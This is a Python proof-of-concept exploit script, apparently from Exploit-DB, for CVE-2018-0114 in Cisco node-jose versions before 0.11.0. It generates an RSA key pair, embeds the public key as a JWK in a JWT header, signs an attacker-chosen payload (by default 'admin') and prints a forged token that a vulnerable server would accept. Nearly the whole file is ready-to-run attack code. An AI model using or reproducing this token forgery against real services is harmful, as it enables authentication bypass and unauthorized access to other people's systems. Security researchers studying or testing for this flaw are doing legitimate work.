95 lines
No EOL
3.3 KiB
Python
Executable file
95 lines
No EOL
3.3 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
|
|
import base64
|
|
from urllib.parse import quote_plus
|
|
import rsa
|
|
import sys
|
|
|
|
#zi0Black
|
|
|
|
'''
|
|
EDB Note: This has been updated ~ https://github.com/offensive-security/exploitdb/pull/139
|
|
|
|
POC of CVE-2018-0114 Cisco node-jose <0.11.0
|
|
Example: python3 44324.py "mypayload" 512
|
|
|
|
Created by Andrea Cappa aka @zi0Black (GitHub,Twitter,Telegram)
|
|
Enhanced for python3 by github.com/eshaan7
|
|
|
|
Mail: a.cappa@zioblack.xyz
|
|
Site: https://zioblack.xyz
|
|
|
|
A special thanks to Louis Nyffenegger, the founder of PentesterLab, for all the help he provided to allow me to write this script.
|
|
|
|
Mail: louis@pentesterlab.com
|
|
Site: https://pentesterlab.com
|
|
|
|
'''
|
|
|
|
def generate_key(key_size):
|
|
#create rsa priv & public key
|
|
print ("[+]Creating-RSA-pair-key")
|
|
(public_key,private_key) = rsa.newkeys(key_size,poolsize=8)
|
|
print ("\t[+]Pair-key-created")
|
|
return private_key, public_key
|
|
|
|
def pack_bigint(i):
|
|
b = bytearray()
|
|
while i:
|
|
b.append(i & 0xFF)
|
|
i >>= 8
|
|
return b[::-1]
|
|
|
|
def generate_header_payload(payload,pubkey):
|
|
#create header and payload
|
|
print ("[+]Assembling-the-header-and-the-payload")
|
|
n=base64.urlsafe_b64encode(pack_bigint(pubkey.n)).decode('utf-8').rstrip('=')
|
|
e=base64.urlsafe_b64encode(pack_bigint(pubkey.e)).decode('utf-8').rstrip('=')
|
|
headerAndPayload = base64.b64encode(('{"alg":"RS256",'
|
|
'"jwk":{"kty":"RSA",'
|
|
'"kid":"topo.gigio@hackerzzzz.own",'
|
|
'"use":"sig",'
|
|
'"n":"'+n+'",'
|
|
'"e":"'+e+'"}}').encode())
|
|
headerAndPayload = headerAndPayload+b"."+base64.b64encode(payload)
|
|
headerAndPayload = headerAndPayload
|
|
print ("\t[+]Assembed")
|
|
return headerAndPayload
|
|
|
|
def generate_signature(firstpart,privkey):
|
|
#create signature
|
|
signature = rsa.sign(firstpart,privkey,'SHA-256')
|
|
signatureEnc = base64.b64encode(signature)
|
|
print ("[+]Signature-created")
|
|
return signatureEnc
|
|
|
|
def create_token(headerAndPayload,sign):
|
|
print ("[+]Forging-of-the-token\n\n")
|
|
token = (headerAndPayload+b"."+sign).decode('utf-8').rstrip('=')
|
|
token = quote_plus(token)
|
|
return token
|
|
|
|
if(len(sys.argv)>0):
|
|
payload = bytes(str(sys.argv[1]).encode('ascii'))
|
|
key_size = int(sys.argv[2])
|
|
else:
|
|
payload = b'admin'
|
|
key_size = int(512)
|
|
|
|
|
|
banner="""
|
|
_____ __ __ ______ ___ ___ __ ___ ___ __ __ _ _
|
|
/ ____| \ \ / / | ____| |__ \ / _ \ /_ | / _ \ / _ \ /_ | /_ | | || |
|
|
| | \ \ / / | |__ ______ ) | | | | | | | | (_) | ______ | | | | | | | | | || |_
|
|
| | \ \/ / | __| |______| / / | | | | | | > _ < |______| | | | | | | | | |__ _|
|
|
| |____ \ / | |____ / /_ | |_| | | | | (_) | | |_| | | | | | | |
|
|
\_____| \/ |______| |____| \___/ |_| \___/ \___/ |_| |_| |_| by @zi0Black
|
|
"""
|
|
|
|
if __name__ == '__main__':
|
|
print (banner)
|
|
(privatekey,publickey) = generate_key(key_size)
|
|
firstPart = generate_header_payload(payload,publickey)
|
|
signature = generate_signature(firstPart,privatekey)
|
|
token = create_token(firstPart,signature)
|
|
print(token) |